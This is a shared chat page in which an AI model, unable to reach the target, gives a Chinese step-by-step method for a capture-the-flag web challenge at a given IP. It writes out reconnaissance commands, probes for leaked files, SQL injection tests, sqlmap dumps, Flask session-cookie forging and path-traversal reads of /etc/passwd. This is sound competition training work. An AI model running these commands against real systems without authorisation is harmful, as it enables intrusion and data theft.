社团“活动”统计站的小秘密等你来挖~ 题目地址:39.105.213.28:8000获取flag,格...

Créé le : 13 mai 2026

Répondu en utilisant GPT-5.5 Thinking par Chat01

Question

社团“活动”统计站的小秘密等你来挖~
题目地址:39.105.213.28:8000获取flag,格式为ISCC{}。主要目的为复现

Réflexion

我这边尝试直接访问该 IP:8000,但当前执行环境连不上外部目标,没法实际读到页面或验证 flag。下面给你一套本地复现流程,重点是把“活动统计站”常见入口和弱点快速定位出来。

Thought for 1m 5s

Réponse

我无法直接连上 39.105.213.28:8000,所以不能诚实地给出已验证的 ISCC{...}。你可以在本机按下面流程复现,我会把重点放在 CTF Web 题常见的“活动统计站”信息泄露 / 接口注入 / Cookie 秘钥问题上。

1. 先抓首页和静态资源

bash
TARGET="http://39.105.213.28:8000" curl -i "$TARGET/" curl -s "$TARGET/" -o index.html grep -Eoi '(src|href)="[^"]+"' index.html grep -niE 'flag|secret|admin|debug|api|activity|stats|token|session' index.html

如果有 JS 文件,全部下载后搜关键词:

bash
mkdir js grep -Eoi 'src="[^"]+\.js[^"]*"' index.html | cut -d'"' -f2 | while read f; do curl -s "$TARGET/$f" -o "js/$(basename "$f")" done grep -RniE 'flag|secret|admin|debug|api|activity|stats|token|session|fetch|axios|ajax' js/

重点看有没有类似:

text
/api/stats /api/activity /admin /export /download /flag /secret

2. 查常见泄露路径

bash
for p in \ robots.txt sitemap.xml \ .git/HEAD .env config.php config.py app.py main.py \ backup.zip www.zip source.zip src.zip app.zip \ index.php.bak index.py.bak app.py.bak \ static/js/app.js.map; do echo "===== /$p =====" curl -i -s "$TARGET/$p" | head -n 20 done

如果 .git/HEAD 可访问,直接尝试恢复源码:

bash
git-dumper "$TARGET/.git/" dumped grep -RniE 'flag|secret|password|admin|sqlite|mysql|ISCC' dumped/

3. 找接口参数并测 SQL 注入

统计站通常会有按社团、活动、年份、类型查询的参数,例如:

text
/api/stats?club=1 /api/activity?id=1 /search?keyword=xxx /rank?year=2024

对每个参数做最小化测试:

bash
curl -i "$TARGET/api/stats?club=1" curl -i "$TARGET/api/stats?club=1'" curl -i "$TARGET/api/stats?club=1%20and%201=1" curl -i "$TARGET/api/stats?club=1%20and%201=2"

如果 and 1=1and 1=2 返回内容明显不同,基本就是注入点。

低风险 sqlmap 复现:

bash
sqlmap -u "$TARGET/api/stats?club=1" \ --batch --level=2 --risk=1 --delay=0.5 --random-agent --current-db

继续枚举:

bash
sqlmap -u "$TARGET/api/stats?club=1" --batch --level=2 --risk=1 --delay=0.5 --tables sqlmap -u "$TARGET/api/stats?club=1" --batch --level=2 --risk=1 --delay=0.5 -T flag --dump

也可以全站爬到参数再测:

bash
katana -u "$TARGET" -silent -d 2 | tee urls.txt grep -E '\?.+=' urls.txt | tee params.txt

4. 如果是 Flask / session “小秘密”

看响应头和 Cookie:

bash
curl -i "$TARGET/"

如果看到类似:

text
Set-Cookie: session=eyJ... Server: Werkzeug

说明可能是 Flask。尝试解 Cookie:

bash
flask-unsign --decode --cookie '这里填session值'

如果源码或 JS 泄露了 SECRET_KEY,可以伪造管理员:

bash
flask-unsign --sign \ --cookie "{'is_admin': True, 'username': 'admin'}" \ --secret '泄露到的SECRET_KEY'

然后带 Cookie 访问:

bash
curl -i "$TARGET/admin" -H "Cookie: session=伪造后的session" curl -i "$TARGET/flag" -H "Cookie: session=伪造后的session"

如果没有 secret,但 Cookie 可爆破:

bash
flask-unsign --unsign \ --cookie '这里填session值' \ --wordlist /usr/share/wordlists/rockyou.txt

5. 如果存在导出 / 下载功能,测任意文件读

统计站常见功能名:

text
/export?file= /download?filename= /read?path= /static?name=

测试:

bash
curl -i "$TARGET/download?filename=../../../../etc/passwd" curl -i "$TARGET/export?file=../../../../flag" curl -i "$TARGET/export?file=../../../../app/flag" curl -i "$TARGET/export?file=../../../../var/www/html/flag"

源码型路径也要试:

bash
curl -i "$TARGET/download?filename=app.py" curl -i "$TARGET/download?filename=../app.py" curl -i "$TARGET/download?filename=../../app.py"

6. 你现在最该贴回来的内容

优先把这些结果贴出来,能最快定位到 flag:

bash
curl -i http://39.105.213.28:8000/ grep -Eoi '(src|href)="[^"]+"' index.html grep -RniE 'flag|secret|admin|debug|api|activity|stats|token|session|fetch|axios|ajax' js/

尤其是页面源码、JS 里出现的 /api/... 接口,以及任何 Set-CookieServer、报错信息。这样下一步就能收敛到具体利用点。

Partager cette Q&R